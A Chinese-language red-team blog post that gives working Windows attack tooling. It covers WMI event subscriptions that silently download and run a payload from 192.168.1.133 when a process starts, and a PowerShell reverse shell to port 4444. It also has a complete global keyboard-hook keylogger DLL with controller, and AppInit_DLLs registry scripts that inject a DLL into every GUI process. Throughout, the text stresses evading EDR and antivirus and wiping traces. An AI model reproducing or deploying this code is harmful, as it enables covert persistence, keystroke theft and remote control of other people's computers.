一、WMI监控介绍
WMI(Windows Management Instrumentation)监控室我们隐蔽收集目标系统信息、监控系统行为的核心手段,基于WIndows自带管理框架,无需额外安装组件,隐蔽性强,可以实时监控进程创建/退出、注册表修改、文件操作、网络连接等行为
WMI监控方便我们更好的隐藏载荷,如 目前已经获取到机器shell,但存在EDR检测,我们的恶意Payload不能直接投放,我们就可以用WMI监控,订阅“进程创建”事件,当目标机器的EDR进程未运行时,进行条件触发实施Payload投放。
关于隐蔽性,WMI是基于系统服务运行的,没有独立的进程,所有操作都通过Winmgmt服务执行,很难辨别是正常操作还是恶意操作,甚至可以使用临时订阅,当监控完成后立即删除事件过滤器、事件消费者和绑定关系,不留痕迹。WMI服务依赖度高,如果目标机器的Winmgmt服务被禁用,监控就会失效。
# 查看所有WMI事件过滤器
Get-WmiObject -Namespace root\subscription -Class __EventFilter
# 查看所有WMI事件消费者
Get-WmiObject -Namespace root\subscription -Class __EventConsumer
# 查看过滤器与消费者的绑定关系
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding
二、WMI监控实现
WMI监控实现核心逻辑:创建事件过滤器→创建事件消费者→创建绑定关系
-
事件过滤器(Event Filter):定义监控的事件类型(如进程创建、注册表修改)和筛选条件(如特定进程名、注册表路径)。
-
事件消费者(Event Consumer):定义事件触发后执行的动作(如运行命令、加载DLL、触发载荷),红队中常用ActiveScriptEventConsumer(执行脚本)和CommandLineEventConsumer(执行命令)。
-
绑定关系(FilterToConsumerBinding):将过滤器和消费者关联,使过滤器检测到事件后,触发消费者执行动作。
我们可以通过调用 WMI API 或 Powershell
(一)Powershell 实现
# 1. 先定义变量 $targetProcess = "calc.exe" $maliciousCommand = "powershell -NoP -NonI -W Hidden -Exec Bypass -Command `"IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.133/payload.ps1')`"" # 2. 创建事件过滤器 $filterArgs = @{ Name = "ProcessMonitorFilter" EventNamespace = "root\cimv2" QueryLanguage = "WQL" Query = "SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='$targetProcess'" } $filter = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments $filterArgs # 3. 创建事件消费者 $consumerArgs = @{ Name = "ProcessMonitorConsumer" CommandLineTemplate = $maliciousCommand } $consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments $consumerArgs # 4. 创建绑定关系 $bindingArgs = @{ Filter = $filter Consumer = $consumer } $binding = Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments $bindingArgs Write-Host "[+] WMI监控已建立,正在监控进程: $targetProcess"
这里的payload.ps1 我们编译一个用于反弹shell的
$client = New-Object System.Net.Sockets.TCPClient('192.168.1.133',4444); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush() }; $client.Close()
还有一点要注意,如果要执行ps1脚本的话有的目标机器需要先改一下其执行策略。
calc.exe时就会接着触发,但是在面对杀软的情况下此命令还是太放肆了,实战中需要对其进行免杀处理,并模糊一下行为链
$maliciousCommand = "powershell -NoP -NonI -W Hidden -Exec Bypass -Command `"IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.133/payload.ps1')`""
(二)WMI API调用实现
C++语言实现代码,VS编译
// 安全释放 COM 接口的宏
// 错误检查辅助函数
void CheckResult(HRESULT hr, const char* msg) {
if (FAILED(hr)) {
std::cerr << "[-] " << msg << " 失败,错误码: 0x" << std::hex << hr << std::endl;
throw std::runtime_error(msg);
}
}
int main() {
HRESULT hr = S_OK;
IWbemLocator* pLoc = NULL;
IWbemServices* pSvc = NULL;
IWbemClassObject* pClass = NULL;
IWbemClassObject* pFilter = NULL;
IWbemClassObject* pConsumer = NULL;
IWbemClassObject* pBinding = NULL;
try {
// 1. 初始化 COM
hr = CoInitializeEx(0, COINIT_MULTITHREADED);
CheckResult(hr, "CoInitializeEx");
// 2. 设置 COM 安全级别
hr = CoInitializeSecurity(NULL, -1, NULL, NULL,
RPC_C_AUTHN_LEVEL_DEFAULT,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL, EOAC_NONE, NULL);
// CoInitializeSecurity 可能在多次调用时报 RPC_E_TOO_LATE,我们忽略该错误
if (FAILED(hr) && hr != RPC_E_TOO_LATE) {
CheckResult(hr, "CoInitializeSecurity");
}
// 3. 创建 WbemLocator 对象
hr = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER,
IID_IWbemLocator, (LPVOID*)&pLoc);
CheckResult(hr, "CoCreateInstance");
// 4. 连接到 root\subscription 命名空间
hr = pLoc->ConnectServer(
_bstr_t(L"ROOT\\subscription"), // 命名空间
NULL, // 用户名
NULL, // 密码
NULL, // 区域设置
0, // 安全标志
NULL, // 授权
NULL, // WBEM 上下文
&pSvc // 返回服务代理
);
CheckResult(hr, "ConnectServer");
// 5. 设置代理安全级别,使服务能模拟客户端
hr = CoSetProxyBlanket(pSvc,
RPC_C_AUTHN_WINNT, // 身份验证服务
RPC_C_AUTHZ_NONE, // 授权服务
NULL, // 服务器主体名称
RPC_C_AUTHN_LEVEL_CALL, // 身份验证级别
RPC_C_IMP_LEVEL_IMPERSONATE, // 模拟级别
NULL, // 客户端身份
EOAC_NONE // 代理功能
);
CheckResult(hr, "CoSetProxyBlanket");
// ---------- 创建事件过滤器 (__EventFilter) ----------
// 获取 __EventFilter 类定义
hr = pSvc->GetObject(_bstr_t(L"__EventFilter"), 0, NULL, &pClass, NULL);
CheckResult(hr, "GetObject __EventFilter");
// 创建过滤器实例
hr = pClass->SpawnInstance(0, &pFilter);
pClass->Release(); pClass = NULL;
CheckResult(hr, "SpawnInstance __EventFilter");
// 设置过滤器属性
VARIANT vtProp;
VariantInit(&vtProp);
// Name = "ProcessMonitorFilter"
vtProp.vt = VT_BSTR;
vtProp.bstrVal = SysAllocString(L"ProcessMonitorFilter");
hr = pFilter->Put(L"Name", 0, &vtProp, 0);
VariantClear(&vtProp);
CheckResult(hr, "Put Name");
// EventNamespace = "root\\cimv2"
vtProp.vt = VT_BSTR;
vtProp.bstrVal = SysAllocString(L"root\\cimv2");
hr = pFilter->Put(L"EventNamespace", 0, &vtProp, 0);
VariantClear(&vtProp);
CheckResult(hr, "Put EventNamespace");
// QueryLanguage = "WQL"
vtProp.vt = VT_BSTR;
vtProp.bstrVal = SysAllocString(L"WQL");
hr = pFilter->Put(L"QueryLanguage", 0, &vtProp, 0);
VariantClear(&vtProp);
CheckResult(hr, "Put QueryLanguage");
// Query = "SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='calc.exe'"
vtProp.vt = VT_BSTR;
vtProp.bstrVal = SysAllocString(
L"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='calc.exe'");
hr = pFilter->Put(L"Query", 0, &vtProp, 0);
VariantClear(&vtProp);
CheckResult(hr, "Put Query");
// 将过滤器实例保存到 WMI
hr = pSvc->PutInstance(pFilter, WBEM_FLAG_CREATE_OR_UPDATE, NULL, NULL);
CheckResult(hr, "PutInstance __EventFilter");
std::cout << "[+] 事件过滤器创建成功" << std::endl;
// ---------- 创建事件消费者 (CommandLineEventConsumer) ----------
hr = pSvc->GetObject(_bstr_t(L"CommandLineEventConsumer"), 0, NULL, &pClass, NULL);
CheckResult(hr, "GetObject CommandLineEventConsumer");
hr = pClass->SpawnInstance(0, &pConsumer);
pClass->Release(); pClass = NULL;
CheckResult(hr, "SpawnInstance CommandLineEventConsumer");
// Name = "ProcessMonitorConsumer"
vtProp.vt = VT_BSTR;
vtProp.bstrVal = SysAllocString(L"ProcessMonitorConsumer");
hr = pConsumer->Put(L"Name", 0, &vtProp, 0);
VariantClear(&vtProp);
CheckResult(hr, "Put Consumer Name");
// CommandLineTemplate = "powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.133/payload.ps1')\""
vtProp.vt = VT_BSTR;
vtProp.bstrVal = SysAllocString(
L"powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.133/payload.ps1')\"");
hr = pConsumer->Put(L"CommandLineTemplate", 0, &vtProp, 0);
VariantClear(&vtProp);
CheckResult(hr, "Put CommandLineTemplate");
hr = pSvc->PutInstance(pConsumer, WBEM_FLAG_CREATE_OR_UPDATE, NULL, NULL);
CheckResult(hr, "PutInstance CommandLineEventConsumer");
std::cout << "[+] 事件消费者创建成功" << std::endl;
// ---------- 创建绑定 (__FilterToConsumerBinding) ----------
hr = pSvc->GetObject(_bstr_t(L"__FilterToConsumerBinding"), 0, NULL, &pClass, NULL);
CheckResult(hr, "GetObject __FilterToConsumerBinding");
hr = pClass->SpawnInstance(0, &pBinding);
pClass->Release(); pClass = NULL;
CheckResult(hr, "SpawnInstance __FilterToConsumerBinding");
// Filter = "__EventFilter.Name=\"ProcessMonitorFilter\""
vtProp.vt = VT_BSTR;
vtProp.bstrVal = SysAllocString(L"__EventFilter.Name=\"ProcessMonitorFilter\"");
hr = pBinding->Put(L"Filter", 0, &vtProp, 0);
VariantClear(&vtProp);
CheckResult(hr, "Put Filter");
// Consumer = "CommandLineEventConsumer.Name=\"ProcessMonitorConsumer\""
vtProp.vt = VT_BSTR;
vtProp.bstrVal = SysAllocString(L"CommandLineEventConsumer.Name=\"ProcessMonitorConsumer\"");
hr = pBinding->Put(L"Consumer", 0, &vtProp, 0);
VariantClear(&vtProp);
CheckResult(hr, "Put Consumer");
hr = pSvc->PutInstance(pBinding, WBEM_FLAG_CREATE_OR_UPDATE, NULL, NULL);
CheckResult(hr, "PutInstance __FilterToConsumerBinding");
std::cout << "[+] 绑定关系创建成功" << std::endl;
std::cout << "[+] WMI 监控已建立,正在监控进程: calc.exe" << std::endl;
// 清理 VARIANT
VariantClear(&vtProp);
}
catch (const std::exception& e) {
std::cerr << "[-] 发生异常: " << e.what() << std::endl;
}
// 释放所有接口
SAFE_RELEASE(pBinding);
SAFE_RELEASE(pConsumer);
SAFE_RELEASE(pFilter);
SAFE_RELEASE(pClass);
SAFE_RELEASE(pSvc);
SAFE_RELEASE(pLoc);
CoUninitialize();
system("pause");
return 0;
}
注意此PE文件需要管理员运行,所以在执行前必须Bypass UAC,否则执行失败。
(三)删除三件套
# 删除绑定关系 Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding | Where-Object { $_.Filter -match "ProcessMonitorFilter" } | Remove-WmiObject # 删除消费者 Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer -Filter "Name='ProcessMonitorConsumer'" | Remove-WmiObject # 删除过滤器 Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name='ProcessMonitorFilter'" | Remove-WmiObject
四、SetWindowsHookEx 介绍
SetWindowsHookEx是WIndows API中用于设置全局Hook的核心函数,可实现对系统消息、键盘输入、鼠标操作等监控和拦截
局部Hook:监控当前进程
全局Hook:监控系统中所有进程
SetWindowsHookEx函数结构
HHOOK SetWindowsHookEx( int idHook, // 钩子类型 HOOKPROC lpfn, // 钩子函数地址 HINSTANCE hModWin32, // 钩子DLL的实例句柄 DWORD dwThreadId // 线程ID(全局钩子设为0,监控所有线程;局部钩子设为当前线程ID) );
五、SetWindowsHookEx 实现
实现流程:
编写钩子DLL→ 编写主程序→ 注入DLL到目标进程→ 钩子函数捕获/拦截事件→ 卸载钩子并清理痕迹
实现代码,先完成我们的钩子DLL
HookDLL.cpp
// --- 关键:共享数据段 ---
HHOOK g_hHook = NULL;
CRITICAL_SECTION g_cs;
// 内部获取路径函数
void InternalGetLogPath(char* buffer, int size) {
char tempPath[MAX_PATH];
if (GetTempPathA(MAX_PATH, tempPath) > 0) {
sprintf_s(buffer, size, "%skeylog_hook.txt", tempPath);
} else {
strcpy_s(buffer, size, "C:\\keylog_hook.txt");
}
}
// 记录按键
void LogKeyPress(DWORD vkCode, const char* keyText) {
EnterCriticalSection(&g_cs);
char logPath[MAX_PATH];
InternalGetLogPath(logPath, MAX_PATH);
FILE* logFile = NULL;
if (fopen_s(&logFile, logPath, "a") == 0 && logFile) {
SYSTEMTIME st;
GetLocalTime(&st);
fprintf(logFile, "[%02d:%02d:%02d.%03d] %-15s (VK:0x%02X)\n",
st.wHour, st.wMinute, st.wSecond, st.wMilliseconds, keyText, vkCode);
fclose(logFile);
}
LeaveCriticalSection(&g_cs);
}
// 钩子回调
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)) {
KBDLLHOOKSTRUCT* pKey = (KBDLLHOOKSTRUCT*)lParam;
char keyName[64] = { 0 };
LONG scanCode = pKey->scanCode << 16;
if (pKey->flags & LLKHF_EXTENDED) scanCode |= 0x01000000;
if (GetKeyNameTextA(scanCode, keyName, sizeof(keyName)) > 0) {
LogKeyPress(pKey->vkCode, keyName);
} else {
char hex[16];
sprintf_s(hex, "Key_0x%02X", pKey->vkCode);
LogKeyPress(pKey->vkCode, hex);
}
}
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
BOOL WINAPI DllMain(HINSTANCE hInst, DWORD reason, LPVOID res) {
if (reason == DLL_PROCESS_ATTACH) {
InitializeCriticalSection(&g_cs);
DisableThreadLibraryCalls(hInst);
} else if (reason == DLL_PROCESS_DETACH) {
DeleteCriticalSection(&g_cs);
}
return TRUE;
}
// --- 导出函数 ---
extern "C" __declspec(dllexport) void SetGlobalHook() {
if (g_hHook == NULL) {
HINSTANCE hInst = GetModuleHandleA("HookDLL.dll");
g_hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, hInst, 0);
}
}
extern "C" __declspec(dllexport) void UnsetGlobalHook() {
if (g_hHook != NULL) {
UnhookWindowsHookEx(g_hHook);
g_hHook = NULL;
}
}
extern "C" __declspec(dllexport) BOOL IsHookActive() {
return (g_hHook != NULL);
}
extern "C" __declspec(dllexport) void GetLogPath(char* buf, int size) {
InternalGetLogPath(buf, size);
}
然后是主程序
Main.cpp
typedef void (*SetHookFunc)();
typedef void (*UnsetHookFunc)();
typedef BOOL (*IsHookActiveFunc)();
typedef void (*GetLogPathFunc)(char*, int);
HINSTANCE g_hDll = NULL;
SetHookFunc g_SetGlobalHook = NULL;
UnsetHookFunc g_UnsetGlobalHook = NULL;
IsHookActiveFunc g_IsHookActive = NULL;
GetLogPathFunc g_GetLogPath = NULL;
std::string g_logPath;
bool g_bRunning = true;
void PrintStatus(const std::string& msg, bool success = true) {
HANDLE h = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(h, success ? 10 : 12);
std::cout << (success ? "[+] " : "[-] ") << msg << std::endl;
SetConsoleTextAttribute(h, 7);
}
int main() {
SetConsoleTitleA("Keyboard Hook Controller");
// 1. 加载 DLL
g_hDll = LoadLibraryA("HookDLL.dll");
if (!g_hDll) {
PrintStatus("Cannot find HookDLL.dll!", false);
system("pause"); return 1;
}
g_SetGlobalHook = (SetHookFunc)GetProcAddress(g_hDll, "SetGlobalHook");
g_UnsetGlobalHook = (UnsetHookFunc)GetProcAddress(g_hDll, "UnsetGlobalHook");
g_IsHookActive = (IsHookActiveFunc)GetProcAddress(g_hDll, "IsHookActive");
g_GetLogPath = (GetLogPathFunc)GetProcAddress(g_hDll, "GetLogPath");
if (!g_SetGlobalHook || !g_GetLogPath) {
PrintStatus("DLL function export error!", false);
return 1;
}
// 2. 获取并显示路径
char pathBuf[MAX_PATH] = {0};
g_GetLogPath(pathBuf, MAX_PATH);
g_logPath = pathBuf;
std::cout << "[*] Log Path: " << g_logPath << "\n\n";
// 3. 启动钩子
g_SetGlobalHook();
if (g_IsHookActive()) {
PrintStatus("Hook is ACTIVE. Start typing anywhere...");
}
std::cout << "\nControls:\n [L] Open Log File\n [P] Show Path\n [Q] Quit\n\n";
// 4. 核心:主线程消息循环
MSG msg;
while (g_bRunning) {
// 处理控制台输入
if (_kbhit()) {
char k = toupper(_getch());
if (k == 'Q') g_bRunning = false;
if (k == 'P') std::cout << "Path: " << g_logPath << std::endl;
if (k == 'L') ShellExecuteA(NULL, "open", "notepad.exe", g_logPath.c_str(), NULL, SW_SHOWNORMAL);
}
// 核心:处理 Windows 消息(钩子必须)
while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) {
if (msg.message == WM_QUIT) g_bRunning = false;
TranslateMessage(&msg);
DispatchMessage(&msg);
}
Sleep(10); // 降低 CPU 占用
}
// 5. 清理
if (g_UnsetGlobalHook) g_UnsetGlobalHook();
if (g_hDll) FreeLibrary(g_hDll);
PrintStatus("Exited safely.");
return 0;
}


可以以普通权限运行,并实现全局钩子
注意
这里有个坑,就是我们的日志文件操作逻辑不能写入到Main主程序,否则其他进程无法对我们的日志文件进行操作,我查完后大致是文件被主进程Main独占锁定,导致其他注入的进程无法写入,归属与WIndows文件共享模式的问题。
六、Appinit 架构介绍
AppInit_DLLs 是 Windows 原生提供的全局 DLL 预加载机制,允许指定的 DLL 在所有用户态 GUI 进程启动时被系统自动注入加载(默认注入所有使用 User32.dll 的 GUI 进程),不需要单独启动程序、不需要 SetWindowsHookEx、重启依然生效
工作原理:
Windows 系统加载流程 ↓ 进程启动 → 加载 User32.dll ↓ User32 读取注册表:AppInit_DLLs + LoadAppInit_DLLs ↓ 系统自动注入指定DLL到进程 ↓ 后门静默运行
两个核心注册表:
1. 启用开关(必须设为 1) HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs 2. 要加载的DLL路径(可填多个,逗号分隔) HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
这两个注册表都是必须管理员权限才能写这两个注册表
这是64位的,32 位程序走 WOW6432Node 分支,当然我们都要写来确保通杀
不实施攻击,而是配置系统
七、Appinit 架构实现
Appinit 实现流程:
-
编写 DLL
-
管理员权限修改两处注册表
-
重启进程 / 系统触发注入
-
DLL 加载
-
清理痕迹
注意
-
64 位系统必须同时配置 原生 64 位 + 32 位重定向(WOW6432Node) 两处注册表
-
DLL要求轻量化、稳定、无弹窗、免杀处理
前提
Powershell中输入下面命令检测安全启动是否开启,如果返回是TURE则开启,WIndows会禁用 AppInit_DLLs 功能
Confirm-SecureBootUEFI
如果确实开启我们只能进入到BIOS 把 Secure Boot 关掉 , Windows 11 正式安装默认会要求开着 Secure Boot , 如果出现在目标机上只能换方式注入了
(一)简单DLL脚本
#include <windows.h> #include <tchar.h> extern "C" __declspec(dllexport) void BackdoorWork() { __try { MessageBoxW( NULL, // 父窗口句柄(无) L"😜 恭喜你被AppInit钩子拿捏了!😜\n\n这个弹窗来自AppInit_DLLs加载的DLL", // 弹窗内容 L"💀 AppInit 小惊喜 💀", // 弹窗标题 MB_OK | MB_ICONWARNING | MB_TOPMOST // 样式:确定按钮 + 警告图标 + 置顶 ); } __except(EXCEPTION_EXECUTE_HANDLER) // 捕获所有异常,防止崩进程 { return; } } DWORD WINAPI ShowMessageBoxThread(LPVOID lpParam) { Sleep(1000); BackdoorWork(); return 0; } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: DisableThreadLibraryCalls(hModule); CreateThread(NULL, 0, ShowMessageBoxThread, NULL, 0, NULL); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
在VS中编译好
(二)一键部署脚本(修改注册表)
@echo off REM 启用 AppInit reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f REM 指定要加载的DLL reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\Windows\System32\AppInitPayload.dll" /f REM 64位系统必须同时写32位重定向项 reg add "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f reg add "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\Windows\SysWOW64\AppInitPayload.dll" /f
(三)触发注入
-
重启电脑
-
打开一个GUI进程(浏览器、记事本等)
(四)验证
任务管理器 → 详细信息 → 选择列 → 勾选 DLL
可以看到我们的DLL名,可以看到所以的GUI程序都加载了DLL程序,成功实现全局覆盖
(五)痕迹清理脚本
@echo off reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /f reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0 /f reg delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /f reg add "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0 /f del C:\Windows\System32\AppInitPayload.dll del C:\Windows\SysWOW64\AppInitPayload.dll
非特殊说明,本博所有文章均为博主原创。
如若转载,请注明出处:https://www.oneblanks.xyz/%e5%85%a8%e5%b1%80hook/
共有 0 条评论